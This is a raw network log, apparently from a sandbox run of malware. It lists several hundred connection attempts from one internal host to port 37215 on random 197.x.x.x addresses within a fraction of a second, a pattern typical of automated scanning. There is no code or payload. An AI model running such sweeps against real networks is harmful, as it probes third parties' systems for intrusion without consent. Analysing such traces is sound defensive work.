Feb 20, 2022 15:50:56.594057083 CET	1898	37215	192.168.2.23	197.239.213.88
Feb 20, 2022 15:50:56.594074965 CET	1898	37215	192.168.2.23	197.164.102.139
Feb 20, 2022 15:50:56.594104052 CET	1898	37215	192.168.2.23	197.92.151.72
Feb 20, 2022 15:50:56.594118118 CET	1898	37215	192.168.2.23	197.28.68.137
Feb 20, 2022 15:50:56.594141960 CET	1898	37215	192.168.2.23	197.38.211.155
Feb 20, 2022 15:50:56.594162941 CET	1898	37215	192.168.2.23	197.177.176.201
Feb 20, 2022 15:50:56.594185114 CET	1898	37215	192.168.2.23	197.146.157.10
Feb 20, 2022 15:50:56.594206095 CET	1898	37215	192.168.2.23	197.224.52.236
Feb 20, 2022 15:50:56.594225883 CET	1898	37215	192.168.2.23	197.179.184.226
Feb 20, 2022 15:50:56.594299078 CET	1898	37215	192.168.2.23	197.125.137.28
Feb 20, 2022 15:50:56.595906019 CET	1898	37215	192.168.2.23	197.8.160.140
Feb 20, 2022 15:50:56.595942020 CET	1898	37215	192.168.2.23	197.181.218.57
Feb 20, 2022 15:50:56.596014977 CET	1898	37215	192.168.2.23	197.2.176.8
Feb 20, 2022 15:50:56.596067905 CET	1898	37215	192.168.2.23	197.166.44.224
Feb 20, 2022 15:50:56.596076012 CET	1898	37215	192.168.2.23	197.12.218.29
Feb 20, 2022 15:50:56.596081018 CET	1898	37215	192.168.2.23	197.90.239.51
Feb 20, 2022 15:50:56.596103907 CET	1898	37215	192.168.2.23	197.209.84.251
Feb 20, 2022 15:50:56.596163034 CET	1898	37215	192.168.2.23	197.234.200.149
Feb 20, 2022 15:50:56.596221924 CET	1898	37215	192.168.2.23	197.139.28.119
Feb 20, 2022 15:50:56.596224070 CET	1898	37215	192.168.2.23	197.156.227.110
Feb 20, 2022 15:50:56.596235991 CET	1898	37215	192.168.2.23	197.110.51.12
Feb 20, 2022 15:50:56.596288919 CET	1898	37215	192.168.2.23	197.254.161.205
Feb 20, 2022 15:50:56.596335888 CET	1898	37215	192.168.2.23	197.247.9.231
Feb 20, 2022 15:50:56.596340895 CET	1898	37215	192.168.2.23	197.10.218.241
Feb 20, 2022 15:50:56.596354008 CET	1898	37215	192.168.2.23	197.55.185.11
Feb 20, 2022 15:50:56.596385956 CET	1898	37215	192.168.2.23	197.9.47.126
Feb 20, 2022 15:50:56.596414089 CET	1898	37215	192.168.2.23	197.124.83.37
Feb 20, 2022 15:50:56.596522093 CET	1898	37215	192.168.2.23	197.120.201.99
Feb 20, 2022 15:50:56.596527100 CET	1898	37215	192.168.2.23	197.244.7.175
Feb 20, 2022 15:50:56.596539021 CET	1898	37215	192.168.2.23	197.81.201.111
Feb 20, 2022 15:50:56.596544981 CET	1898	37215	192.168.2.23	197.161.105.73
Feb 20, 2022 15:50:56.596570015 CET	1898	37215	192.168.2.23	197.202.84.74
Feb 20, 2022 15:50:56.596596956 CET	1898	37215	192.168.2.23	197.37.126.129
Feb 20, 2022 15:50:56.596607924 CET	1898	37215	192.168.2.23	197.126.145.39
Feb 20, 2022 15:50:56.596626043 CET	1898	37215	192.168.2.23	197.68.221.41
Feb 20, 2022 15:50:56.596656084 CET	1898	37215	192.168.2.23	197.54.52.30
Feb 20, 2022 15:50:56.596736908 CET	1898	37215	192.168.2.23	197.204.69.174
Feb 20, 2022 15:50:56.596777916 CET	1898	37215	192.168.2.23	197.72.197.100
Feb 20, 2022 15:50:56.596807003 CET	1898	37215	192.168.2.23	197.142.249.0
Feb 20, 2022 15:50:56.596831083 CET	1898	37215	192.168.2.23	197.11.149.167
Feb 20, 2022 15:50:56.596836090 CET	1898	37215	192.168.2.23	197.17.170.104
Feb 20, 2022 15:50:56.596960068 CET	1898	37215	192.168.2.23	197.80.30.100
Feb 20, 2022 15:50:56.596972942 CET	1898	37215	192.168.2.23	197.174.29.137
Feb 20, 2022 15:50:56.596983910 CET	1898	37215	192.168.2.23	197.117.29.136
Feb 20, 2022 15:50:56.596985102 CET	1898	37215	192.168.2.23	197.110.234.146
Feb 20, 2022 15:50:56.596985102 CET	1898	37215	192.168.2.23	197.48.243.161
Feb 20, 2022 15:50:56.597011089 CET	1898	37215	192.168.2.23	197.54.71.88
Feb 20, 2022 15:50:56.597083092 CET	1898	37215	192.168.2.23	197.169.60.109
Feb 20, 2022 15:50:56.597084045 CET	1898	37215	192.168.2.23	197.187.71.173
Feb 20, 2022 15:50:56.597105980 CET	1898	37215	192.168.2.23	197.20.98.195
Feb 20, 2022 15:50:56.597120047 CET	1898	37215	192.168.2.23	197.251.38.24
Feb 20, 2022 15:50:56.597259045 CET	1898	37215	192.168.2.23	197.61.182.245
Feb 20, 2022 15:50:56.597269058 CET	1898	37215	192.168.2.23	197.211.217.129
Feb 20, 2022 15:50:56.597273111 CET	1898	37215	192.168.2.23	197.156.129.126
Feb 20, 2022 15:50:56.597274065 CET	1898	37215	192.168.2.23	197.132.146.64
Feb 20, 2022 15:50:56.597299099 CET	1898	37215	192.168.2.23	197.156.215.190
Feb 20, 2022 15:50:56.597310066 CET	1898	37215	192.168.2.23	197.158.69.163
Feb 20, 2022 15:50:56.597347975 CET	1898	37215	192.168.2.23	197.15.43.18
Feb 20, 2022 15:50:56.597388983 CET	1898	37215	192.168.2.23	197.120.40.253
Feb 20, 2022 15:50:56.597456932 CET	1898	37215	192.168.2.23	197.109.62.115
Feb 20, 2022 15:50:56.597524881 CET	1898	37215	192.168.2.23	197.10.107.169
Feb 20, 2022 15:50:56.597533941 CET	1898	37215	192.168.2.23	197.88.185.152
Feb 20, 2022 15:50:56.597532988 CET	1898	37215	192.168.2.23	197.96.244.174
Feb 20, 2022 15:50:56.597549915 CET	1898	37215	192.168.2.23	197.179.52.62
Feb 20, 2022 15:50:56.597565889 CET	1898	37215	192.168.2.23	197.102.226.190
Feb 20, 2022 15:50:56.597600937 CET	1898	37215	192.168.2.23	197.70.236.68
Feb 20, 2022 15:50:56.597731113 CET	1898	37215	192.168.2.23	197.88.147.77
Feb 20, 2022 15:50:56.597734928 CET	1898	37215	192.168.2.23	197.149.28.153
Feb 20, 2022 15:50:56.597750902 CET	1898	37215	192.168.2.23	197.209.32.154
Feb 20, 2022 15:50:56.597754002 CET	1898	37215	192.168.2.23	197.59.61.207
Feb 20, 2022 15:50:56.597754955 CET	1898	37215	192.168.2.23	197.157.61.182
Feb 20, 2022 15:50:56.597757101 CET	1898	37215	192.168.2.23	197.18.129.252
Feb 20, 2022 15:50:56.597767115 CET	1898	37215	192.168.2.23	197.187.125.129
Feb 20, 2022 15:50:56.597800970 CET	1898	37215	192.168.2.23	197.71.245.95
Feb 20, 2022 15:50:56.597829103 CET	1898	37215	192.168.2.23	197.100.120.92
Feb 20, 2022 15:50:56.597873926 CET	1898	37215	192.168.2.23	197.101.86.113
Feb 20, 2022 15:50:56.597894907 CET	1898	37215	192.168.2.23	197.16.126.75
Feb 20, 2022 15:50:56.597934008 CET	1386	37215	192.168.2.23	197.128.98.195
Feb 20, 2022 15:50:56.598047018 CET	1898	37215	192.168.2.23	197.6.33.86
Feb 20, 2022 15:50:56.598066092 CET	1386	37215	192.168.2.23	197.141.182.170
Feb 20, 2022 15:50:56.598071098 CET	1898	37215	192.168.2.23	197.226.77.95
Feb 20, 2022 15:50:56.598076105 CET	1898	37215	192.168.2.23	197.39.38.251
Feb 20, 2022 15:50:56.598081112 CET	1898	37215	192.168.2.23	197.161.243.235
Feb 20, 2022 15:50:56.598105907 CET	1386	37215	192.168.2.23	197.154.79.38
Feb 20, 2022 15:50:56.598109007 CET	1386	37215	192.168.2.23	197.239.107.163
Feb 20, 2022 15:50:56.598118067 CET	1898	37215	192.168.2.23	197.126.183.197
Feb 20, 2022 15:50:56.598121881 CET	1386	37215	192.168.2.23	197.218.10.166
Feb 20, 2022 15:50:56.598145008 CET	1898	37215	192.168.2.23	197.140.80.23
Feb 20, 2022 15:50:56.598145962 CET	1386	37215	192.168.2.23	197.142.119.151
Feb 20, 2022 15:50:56.598146915 CET	1386	37215	192.168.2.23	197.205.30.194
Feb 20, 2022 15:50:56.598161936 CET	1386	37215	192.168.2.23	197.145.147.195
Feb 20, 2022 15:50:56.598170042 CET	1898	37215	192.168.2.23	197.202.121.69
Feb 20, 2022 15:50:56.598170042 CET	1386	37215	192.168.2.23	197.231.34.115
Feb 20, 2022 15:50:56.598176956 CET	1386	37215	192.168.2.23	197.121.192.232
Feb 20, 2022 15:50:56.598180056 CET	1898	37215	192.168.2.23	197.27.215.77
Feb 20, 2022 15:50:56.598186016 CET	1898	37215	192.168.2.23	197.145.80.184
Feb 20, 2022 15:50:56.598195076 CET	1386	37215	192.168.2.23	197.178.194.194
Feb 20, 2022 15:50:56.598273039 CET	1386	37215	192.168.2.23	197.203.141.100
Feb 20, 2022 15:50:56.598360062 CET	1898	37215	192.168.2.23	197.188.53.125
Feb 20, 2022 15:50:56.598360062 CET	1898	37215	192.168.2.23	197.105.138.202
Feb 20, 2022 15:50:56.598364115 CET	1898	37215	192.168.2.23	197.129.50.101
Feb 20, 2022 15:50:56.598371983 CET	1898	37215	192.168.2.23	197.80.189.125
Feb 20, 2022 15:50:56.598376989 CET	1386	37215	192.168.2.23	197.183.85.143
Feb 20, 2022 15:50:56.598387957 CET	1386	37215	192.168.2.23	197.54.104.115
Feb 20, 2022 15:50:56.598392963 CET	1386	37215	192.168.2.23	197.120.75.14
Feb 20, 2022 15:50:56.598396063 CET	1386	37215	192.168.2.23	197.70.20.42
Feb 20, 2022 15:50:56.598401070 CET	1898	37215	192.168.2.23	197.77.234.158
Feb 20, 2022 15:50:56.598417044 CET	1898	37215	192.168.2.23	197.171.253.244
Feb 20, 2022 15:50:56.598426104 CET	1386	37215	192.168.2.23	197.254.137.172
Feb 20, 2022 15:50:56.598472118 CET	1898	37215	192.168.2.23	197.144.74.230
Feb 20, 2022 15:50:56.598474979 CET	1386	37215	192.168.2.23	197.5.234.39
Feb 20, 2022 15:50:56.598488092 CET	1386	37215	192.168.2.23	197.204.249.240
Feb 20, 2022 15:50:56.598490000 CET	1898	37215	192.168.2.23	197.79.200.230
Feb 20, 2022 15:50:56.598491907 CET	1386	37215	192.168.2.23	197.247.139.11
Feb 20, 2022 15:50:56.598500967 CET	1386	37215	192.168.2.23	197.195.17.30
Feb 20, 2022 15:50:56.598536015 CET	1386	37215	192.168.2.23	197.19.140.111
Feb 20, 2022 15:50:56.598547935 CET	1386	37215	192.168.2.23	197.80.90.251
Feb 20, 2022 15:50:56.598551989 CET	1898	37215	192.168.2.23	197.189.56.96
Feb 20, 2022 15:50:56.598562956 CET	1386	37215	192.168.2.23	197.106.242.163
Feb 20, 2022 15:50:56.598573923 CET	1898	37215	192.168.2.23	197.28.48.51
Feb 20, 2022 15:50:56.598576069 CET	1898	37215	192.168.2.23	197.227.253.50
Feb 20, 2022 15:50:56.598588943 CET	1898	37215	192.168.2.23	197.133.95.27
Feb 20, 2022 15:50:56.598588943 CET	1898	37215	192.168.2.23	197.65.165.6
Feb 20, 2022 15:50:56.598588943 CET	1386	37215	192.168.2.23	197.84.58.133
Feb 20, 2022 15:50:56.598608017 CET	1386	37215	192.168.2.23	197.217.246.229
Feb 20, 2022 15:50:56.598651886 CET	1386	37215	192.168.2.23	197.236.168.69
Feb 20, 2022 15:50:56.598666906 CET	1386	37215	192.168.2.23	197.195.34.153
Feb 20, 2022 15:50:56.598671913 CET	1386	37215	192.168.2.23	197.149.28.69
Feb 20, 2022 15:50:56.598685980 CET	1898	37215	192.168.2.23	197.93.77.21
Feb 20, 2022 15:50:56.598690033 CET	1386	37215	192.168.2.23	197.179.167.236
Feb 20, 2022 15:50:56.598691940 CET	1898	37215	192.168.2.23	197.248.192.200
Feb 20, 2022 15:50:56.598695993 CET	1898	37215	192.168.2.23	197.35.214.154
Feb 20, 2022 15:50:56.598696947 CET	1386	37215	192.168.2.23	197.145.222.249
Feb 20, 2022 15:50:56.598705053 CET	1386	37215	192.168.2.23	197.132.254.169
Feb 20, 2022 15:50:56.598706961 CET	1898	37215	192.168.2.23	197.5.54.224
Feb 20, 2022 15:50:56.598757029 CET	1386	37215	192.168.2.23	197.117.222.86
Feb 20, 2022 15:50:56.598772049 CET	1898	37215	192.168.2.23	197.135.113.119
Feb 20, 2022 15:50:56.598786116 CET	1386	37215	192.168.2.23	197.164.74.197
Feb 20, 2022 15:50:56.598798037 CET	1386	37215	192.168.2.23	197.175.8.206
Feb 20, 2022 15:50:56.598858118 CET	1898	37215	192.168.2.23	197.209.178.84
Feb 20, 2022 15:50:56.598879099 CET	1386	37215	192.168.2.23	197.173.220.132
Feb 20, 2022 15:50:56.598881006 CET	1386	37215	192.168.2.23	197.162.9.185
Feb 20, 2022 15:50:56.598881006 CET	1898	37215	192.168.2.23	197.193.242.218
Feb 20, 2022 15:50:56.598881960 CET	1386	37215	192.168.2.23	197.28.92.184
Feb 20, 2022 15:50:56.598891973 CET	1898	37215	192.168.2.23	197.237.10.175
Feb 20, 2022 15:50:56.598896980 CET	1386	37215	192.168.2.23	197.108.100.22
Feb 20, 2022 15:50:56.598900080 CET	1898	37215	192.168.2.23	197.159.0.225
Feb 20, 2022 15:50:56.598905087 CET	1898	37215	192.168.2.23	197.219.252.123
Feb 20, 2022 15:50:56.598910093 CET	1386	37215	192.168.2.23	197.7.112.182
Feb 20, 2022 15:50:56.598911047 CET	1386	37215	192.168.2.23	197.15.33.80
Feb 20, 2022 15:50:56.598915100 CET	1386	37215	192.168.2.23	197.101.189.229
Feb 20, 2022 15:50:56.598923922 CET	1386	37215	192.168.2.23	197.132.80.64
Feb 20, 2022 15:50:56.598925114 CET	1898	37215	192.168.2.23	197.247.138.182
Feb 20, 2022 15:50:56.598928928 CET	1898	37215	192.168.2.23	197.90.202.85
Feb 20, 2022 15:50:56.598929882 CET	1898	37215	192.168.2.23	197.140.0.72
Feb 20, 2022 15:50:56.598936081 CET	1898	37215	192.168.2.23	197.148.32.15
Feb 20, 2022 15:50:56.598937988 CET	1386	37215	192.168.2.23	197.45.223.239
Feb 20, 2022 15:50:56.599046946 CET	1386	37215	192.168.2.23	197.218.164.140
Feb 20, 2022 15:50:56.599059105 CET	1386	37215	192.168.2.23	197.122.148.86
Feb 20, 2022 15:50:56.599067926 CET	1386	37215	192.168.2.23	197.69.89.95
Feb 20, 2022 15:50:56.599067926 CET	1386	37215	192.168.2.23	197.197.127.94
Feb 20, 2022 15:50:56.599070072 CET	1898	37215	192.168.2.23	197.179.6.178
Feb 20, 2022 15:50:56.599086046 CET	1386	37215	192.168.2.23	197.91.132.47
Feb 20, 2022 15:50:56.599087000 CET	1898	37215	192.168.2.23	197.81.184.139
Feb 20, 2022 15:50:56.599092007 CET	1898	37215	192.168.2.23	197.199.221.109
Feb 20, 2022 15:50:56.599097013 CET	1386	37215	192.168.2.23	197.130.239.100
Feb 20, 2022 15:50:56.599097967 CET	1898	37215	192.168.2.23	197.108.189.110
Feb 20, 2022 15:50:56.599104881 CET	1898	37215	192.168.2.23	197.43.220.194
Feb 20, 2022 15:50:56.599122047 CET	1386	37215	192.168.2.23	197.114.166.16
Feb 20, 2022 15:50:56.599133015 CET	1386	37215	192.168.2.23	197.69.108.240
Feb 20, 2022 15:50:56.599138975 CET	1898	37215	192.168.2.23	197.245.251.20
Feb 20, 2022 15:50:56.599140882 CET	1386	37215	192.168.2.23	197.250.212.12
Feb 20, 2022 15:50:56.599142075 CET	1386	37215	192.168.2.23	197.97.87.139
Feb 20, 2022 15:50:56.599159002 CET	1898	37215	192.168.2.23	197.133.13.70
Feb 20, 2022 15:50:56.599178076 CET	1386	37215	192.168.2.23	197.107.12.188
Feb 20, 2022 15:50:56.599183083 CET	1386	37215	192.168.2.23	197.61.183.156
Feb 20, 2022 15:50:56.599200964 CET	1386	37215	192.168.2.23	197.55.183.117
Feb 20, 2022 15:50:56.599220037 CET	1386	37215	192.168.2.23	197.65.110.15
Feb 20, 2022 15:50:56.599222898 CET	1898	37215	192.168.2.23	197.255.186.120
Feb 20, 2022 15:50:56.599239111 CET	1898	37215	192.168.2.23	197.40.68.220
Feb 20, 2022 15:50:56.599251986 CET	1386	37215	192.168.2.23	197.51.163.255
Feb 20, 2022 15:50:56.599270105 CET	1386	37215	192.168.2.23	197.4.197.108
Feb 20, 2022 15:50:56.599273920 CET	1898	37215	192.168.2.23	197.61.86.247
Feb 20, 2022 15:50:56.599288940 CET	1898	37215	192.168.2.23	197.52.124.159
Feb 20, 2022 15:50:56.599292994 CET	1386	37215	192.168.2.23	197.217.225.181
Feb 20, 2022 15:50:56.599325895 CET	1386	37215	192.168.2.23	197.2.181.19
Feb 20, 2022 15:50:56.599363089 CET	1386	37215	192.168.2.23	197.118.244.18
Feb 20, 2022 15:50:56.599378109 CET	1898	37215	192.168.2.23	197.183.36.98
Feb 20, 2022 15:50:56.599400997 CET	1898	37215	192.168.2.23	197.178.106.64
Feb 20, 2022 15:50:56.599411011 CET	1386	37215	192.168.2.23	197.100.65.112
Feb 20, 2022 15:50:56.599415064 CET	1386	37215	192.168.2.23	197.164.208.127
Feb 20, 2022 15:50:56.599435091 CET	1386	37215	192.168.2.23	197.138.243.2
Feb 20, 2022 15:50:56.599497080 CET	1386	37215	192.168.2.23	197.142.3.17
Feb 20, 2022 15:50:56.599498034 CET	1386	37215	192.168.2.23	197.43.224.147
Feb 20, 2022 15:50:56.599519014 CET	1898	37215	192.168.2.23	197.165.217.131
Feb 20, 2022 15:50:56.599520922 CET	1898	37215	192.168.2.23	197.207.45.213
Feb 20, 2022 15:50:56.599528074 CET	1386	37215	192.168.2.23	197.20.12.53
Feb 20, 2022 15:50:56.599540949 CET	1386	37215	192.168.2.23	197.194.7.84
Feb 20, 2022 15:50:56.599571943 CET	1386	37215	192.168.2.23	197.157.215.180
Feb 20, 2022 15:50:56.599586010 CET	1898	37215	192.168.2.23	197.209.147.8
Feb 20, 2022 15:50:56.599603891 CET	1386	37215	192.168.2.23	197.60.164.72
Feb 20, 2022 15:50:56.599627018 CET	1386	37215	192.168.2.23	197.235.228.225
Feb 20, 2022 15:50:56.599627972 CET	1898	37215	192.168.2.23	197.5.64.113
Feb 20, 2022 15:50:56.599639893 CET	1386	37215	192.168.2.23	197.52.81.79
Feb 20, 2022 15:50:56.599644899 CET	1898	37215	192.168.2.23	197.32.132.151
Feb 20, 2022 15:50:56.599659920 CET	1386	37215	192.168.2.23	197.68.110.201
Feb 20, 2022 15:50:56.599688053 CET	1386	37215	192.168.2.23	197.105.230.208
Feb 20, 2022 15:50:56.599718094 CET	1898	37215	192.168.2.23	197.161.85.28
Feb 20, 2022 15:50:56.599745035 CET	1386	37215	192.168.2.23	197.21.8.173
Feb 20, 2022 15:50:56.599749088 CET	1386	37215	192.168.2.23	197.135.56.235
Feb 20, 2022 15:50:56.599750042 CET	1898	37215	192.168.2.23	197.47.119.243
Feb 20, 2022 15:50:56.599761963 CET	1386	37215	192.168.2.23	197.1.108.178
Feb 20, 2022 15:50:56.599773884 CET	1898	37215	192.168.2.23	197.63.17.68
Feb 20, 2022 15:50:56.599802971 CET	1386	37215	192.168.2.23	197.214.217.26
Feb 20, 2022 15:50:56.599822044 CET	1386	37215	192.168.2.23	197.147.196.126
Feb 20, 2022 15:50:56.599848032 CET	1386	37215	192.168.2.23	197.15.150.233
Feb 20, 2022 15:50:56.599849939 CET	1898	37215	192.168.2.23	197.136.36.103
Feb 20, 2022 15:50:56.599865913 CET	1386	37215	192.168.2.23	197.2.197.184
Feb 20, 2022 15:50:56.599874973 CET	1898	37215	192.168.2.23	197.81.206.133
Feb 20, 2022 15:50:56.599883080 CET	1386	37215	192.168.2.23	197.90.130.139
Feb 20, 2022 15:50:56.599925995 CET	1898	37215	192.168.2.23	197.60.132.219
Feb 20, 2022 15:50:56.599940062 CET	1386	37215	192.168.2.23	197.97.182.208
Feb 20, 2022 15:50:56.599971056 CET	1386	37215	192.168.2.23	197.156.253.26
Feb 20, 2022 15:50:56.599986076 CET	1898	37215	192.168.2.23	197.28.50.1
Feb 20, 2022 15:50:56.599987984 CET	1386	37215	192.168.2.23	197.35.254.130
Feb 20, 2022 15:50:56.599992990 CET	1898	37215	192.168.2.23	197.249.213.76
Feb 20, 2022 15:50:56.600014925 CET	1386	37215	192.168.2.23	197.232.53.124
Feb 20, 2022 15:50:56.600033998 CET	1386	37215	192.168.2.23	197.215.191.253
Feb 20, 2022 15:50:56.600048065 CET	1898	37215	192.168.2.23	197.55.23.28
Feb 20, 2022 15:50:56.600064993 CET	1386	37215	192.168.2.23	197.8.184.66
Feb 20, 2022 15:50:56.600090981 CET	1386	37215	192.168.2.23	197.209.151.139
Feb 20, 2022 15:50:56.600092888 CET	1898	37215	192.168.2.23	197.254.135.148
Feb 20, 2022 15:50:56.600095987 CET	1898	37215	192.168.2.23	197.8.246.57
Feb 20, 2022 15:50:56.600111008 CET	1898	37215	192.168.2.23	197.194.16.147
Feb 20, 2022 15:50:56.600126982 CET	1386	37215	192.168.2.23	197.18.71.104
Feb 20, 2022 15:50:56.600131989 CET	1386	37215	192.168.2.23	197.240.168.78
Feb 20, 2022 15:50:56.600150108 CET	1898	37215	192.168.2.23	197.161.250.38
Feb 20, 2022 15:50:56.600156069 CET	1386	37215	192.168.2.23	197.96.100.11
Feb 20, 2022 15:50:56.600177050 CET	1898	37215	192.168.2.23	197.166.155.89
Feb 20, 2022 15:50:56.600178957 CET	1386	37215	192.168.2.23	197.103.198.77
Feb 20, 2022 15:50:56.600198984 CET	1898	37215	192.168.2.23	197.225.212.118
Feb 20, 2022 15:50:56.600202084 CET	1898	37215	192.168.2.23	197.192.223.233
Feb 20, 2022 15:50:56.600207090 CET	1386	37215	192.168.2.23	197.181.229.97
Feb 20, 2022 15:50:56.600222111 CET	1898	37215	192.168.2.23	197.172.211.23
Feb 20, 2022 15:50:56.600239038 CET	1386	37215	192.168.2.23	197.0.57.28
Feb 20, 2022 15:50:56.600245953 CET	1386	37215	192.168.2.23	197.175.87.120
Feb 20, 2022 15:50:56.600260019 CET	1898	37215	192.168.2.23	197.165.236.252
Feb 20, 2022 15:50:56.600267887 CET	1386	37215	192.168.2.23	197.183.132.51
Feb 20, 2022 15:50:56.600285053 CET	1898	37215	192.168.2.23	197.67.176.117
Feb 20, 2022 15:50:56.600298882 CET	1386	37215	192.168.2.23	197.111.119.78
Feb 20, 2022 15:50:56.600316048 CET	1386	37215	192.168.2.23	197.241.8.247
Feb 20, 2022 15:50:56.600317001 CET	1898	37215	192.168.2.23	197.181.250.50
Feb 20, 2022 15:50:56.600336075 CET	1386	37215	192.168.2.23	197.222.253.80
Feb 20, 2022 15:50:56.600346088 CET	1898	37215	192.168.2.23	197.80.131.80
Feb 20, 2022 15:50:56.600354910 CET	1386	37215	192.168.2.23	197.67.169.8
Feb 20, 2022 15:50:56.600375891 CET	1898	37215	192.168.2.23	197.76.202.43
Feb 20, 2022 15:50:56.600382090 CET	1386	37215	192.168.2.23	197.9.83.39
Feb 20, 2022 15:50:56.600399971 CET	1386	37215	192.168.2.23	197.73.103.43
Feb 20, 2022 15:50:56.600409031 CET	1898	37215	192.168.2.23	197.246.32.12
Feb 20, 2022 15:50:56.600426912 CET	1386	37215	192.168.2.23	197.61.115.8
Feb 20, 2022 15:50:56.600441933 CET	1898	37215	192.168.2.23	197.130.44.92
Feb 20, 2022 15:50:56.600450993 CET	1386	37215	192.168.2.23	197.82.102.220
Feb 20, 2022 15:50:56.600466013 CET	1898	37215	192.168.2.23	197.152.249.97
Feb 20, 2022 15:50:56.600470066 CET	1386	37215	192.168.2.23	197.90.250.85
Feb 20, 2022 15:50:56.600500107 CET	1386	37215	192.168.2.23	197.246.153.180
Feb 20, 2022 15:50:56.600502968 CET	1898	37215	192.168.2.23	197.27.155.161
Feb 20, 2022 15:50:56.600519896 CET	1386	37215	192.168.2.23	197.178.98.101
Feb 20, 2022 15:50:56.600528955 CET	1898	37215	192.168.2.23	197.71.13.95
Feb 20, 2022 15:50:56.600547075 CET	1386	37215	192.168.2.23	197.109.169.68
Feb 20, 2022 15:50:56.600558043 CET	1386	37215	192.168.2.23	197.208.72.191
Feb 20, 2022 15:50:56.600563049 CET	1898	37215	192.168.2.23	197.58.249.127
Feb 20, 2022 15:50:56.600593090 CET	1898	37215	192.168.2.23	197.178.91.117
Feb 20, 2022 15:50:56.600598097 CET	1386	37215	192.168.2.23	197.200.55.84
Feb 20, 2022 15:50:56.600621939 CET	1386	37215	192.168.2.23	197.172.157.8
Feb 20, 2022 15:50:56.600632906 CET	1898	37215	192.168.2.23	197.43.204.248
Feb 20, 2022 15:50:56.600646019 CET	1386	37215	192.168.2.23	197.90.230.28
Feb 20, 2022 15:50:56.600662947 CET	1386	37215	192.168.2.23	197.68.209.73
Feb 20, 2022 15:50:56.600677013 CET	1386	37215	192.168.2.23	197.48.161.10
Feb 20, 2022 15:50:56.600681067 CET	1898	37215	192.168.2.23	197.245.104.203
Feb 20, 2022 15:50:56.600682020 CET	1898	37215	192.168.2.23	197.35.46.155
Feb 20, 2022 15:50:56.600711107 CET	1386	37215	192.168.2.23	197.143.106.41
Feb 20, 2022 15:50:56.600742102 CET	1898	37215	192.168.2.23	197.8.208.36
Feb 20, 2022 15:50:56.600786924 CET	1898	37215	192.168.2.23	197.47.18.197
Feb 20, 2022 15:50:56.600792885 CET	1898	37215	192.168.2.23	197.92.180.9
Feb 20, 2022 15:50:56.600843906 CET	1386	37215	192.168.2.23	197.79.61.182
Feb 20, 2022 15:50:56.600847006 CET	1386	37215	192.168.2.23	197.60.126.144
Feb 20, 2022 15:50:56.600864887 CET	1386	37215	192.168.2.23	197.217.247.155
Feb 20, 2022 15:50:56.600866079 CET	1386	37215	192.168.2.23	197.207.45.120
Feb 20, 2022 15:50:56.600873947 CET	1386	37215	192.168.2.23	197.35.238.191
Feb 20, 2022 15:50:56.600881100 CET	1898	37215	192.168.2.23	197.192.164.14
Feb 20, 2022 15:50:56.600897074 CET	1898	37215	192.168.2.23	197.214.125.25
Feb 20, 2022 15:50:56.600910902 CET	1386	37215	192.168.2.23	197.14.182.30
Feb 20, 2022 15:50:56.600919962 CET	1898	37215	192.168.2.23	197.10.150.145
Feb 20, 2022 15:50:56.600933075 CET	1386	37215	192.168.2.23	197.65.154.190
Feb 20, 2022 15:50:56.600950003 CET	1898	37215	192.168.2.23	197.80.202.253
Feb 20, 2022 15:50:56.600951910 CET	1386	37215	192.168.2.23	197.226.191.114
Feb 20, 2022 15:50:56.600967884 CET	1386	37215	192.168.2.23	197.82.86.68
Feb 20, 2022 15:50:56.600980997 CET	1898	37215	192.168.2.23	197.50.82.161
Feb 20, 2022 15:50:56.600996971 CET	1386	37215	192.168.2.23	197.199.138.178
Feb 20, 2022 15:50:56.601016045 CET	1898	37215	192.168.2.23	197.151.27.134
Feb 20, 2022 15:50:56.601020098 CET	1386	37215	192.168.2.23	197.202.156.18
Feb 20, 2022 15:50:56.601037025 CET	1386	37215	192.168.2.23	197.95.177.151
Feb 20, 2022 15:50:56.601048946 CET	1898	37215	192.168.2.23	197.129.67.177
Feb 20, 2022 15:50:56.601083040 CET	1386	37215	192.168.2.23	197.150.105.140
Feb 20, 2022 15:50:56.601083994 CET	1386	37215	192.168.2.23	197.153.53.245
Feb 20, 2022 15:50:56.601094007 CET	1386	37215	192.168.2.23	197.192.82.178
Feb 20, 2022 15:50:56.601102114 CET	1898	37215	192.168.2.23	197.202.218.31
Feb 20, 2022 15:50:56.601140022 CET	1386	37215	192.168.2.23	197.120.24.11
Feb 20, 2022 15:50:56.601155043 CET	1898	37215	192.168.2.23	197.192.15.129
Feb 20, 2022 15:50:56.601160049 CET	1386	37215	192.168.2.23	197.65.137.105
Feb 20, 2022 15:50:56.601176977 CET	1898	37215	192.168.2.23	197.91.68.62
Feb 20, 2022 15:50:56.601178885 CET	1386	37215	192.168.2.23	197.20.45.102
Feb 20, 2022 15:50:56.601191998 CET	1898	37215	192.168.2.23	197.196.193.135
Feb 20, 2022 15:50:56.601206064 CET	1386	37215	192.168.2.23	197.194.208.248
Feb 20, 2022 15:50:56.601236105 CET	1898	37215	192.168.2.23	197.66.96.119
Feb 20, 2022 15:50:56.601242065 CET	1386	37215	192.168.2.23	197.17.224.158
Feb 20, 2022 15:50:56.601253033 CET	1386	37215	192.168.2.23	197.201.174.162
Feb 20, 2022 15:50:56.601279020 CET	1898	37215	192.168.2.23	197.69.239.17
Feb 20, 2022 15:50:56.601286888 CET	1386	37215	192.168.2.23	197.85.231.173
Feb 20, 2022 15:50:56.601291895 CET	1386	37215	192.168.2.23	197.11.221.27
Feb 20, 2022 15:50:56.601314068 CET	1386	37215	192.168.2.23	197.243.189.51
Feb 20, 2022 15:50:56.601334095 CET	1386	37215	192.168.2.23	197.192.251.70
Feb 20, 2022 15:50:56.601345062 CET	1898	37215	192.168.2.23	197.90.36.58
Feb 20, 2022 15:50:56.601377964 CET	1386	37215	192.168.2.23	197.129.194.41
Feb 20, 2022 15:50:56.601381063 CET	1386	37215	192.168.2.23	197.80.246.95
Feb 20, 2022 15:50:56.601399899 CET	1898	37215	192.168.2.23	197.31.242.235
Feb 20, 2022 15:50:56.601417065 CET	1386	37215	192.168.2.23	197.144.31.91
Feb 20, 2022 15:50:56.601440907 CET	1386	37215	192.168.2.23	197.78.164.192
Feb 20, 2022 15:50:56.601459980 CET	1386	37215	192.168.2.23	197.44.110.75
Feb 20, 2022 15:50:56.601468086 CET	1898	37215	192.168.2.23	197.3.7.173
Feb 20, 2022 15:50:56.601473093 CET	1898	37215	192.168.2.23	197.249.118.138
Feb 20, 2022 15:50:56.601478100 CET	1386	37215	192.168.2.23	197.37.30.115
Feb 20, 2022 15:50:56.601515055 CET	1386	37215	192.168.2.23	197.123.17.43
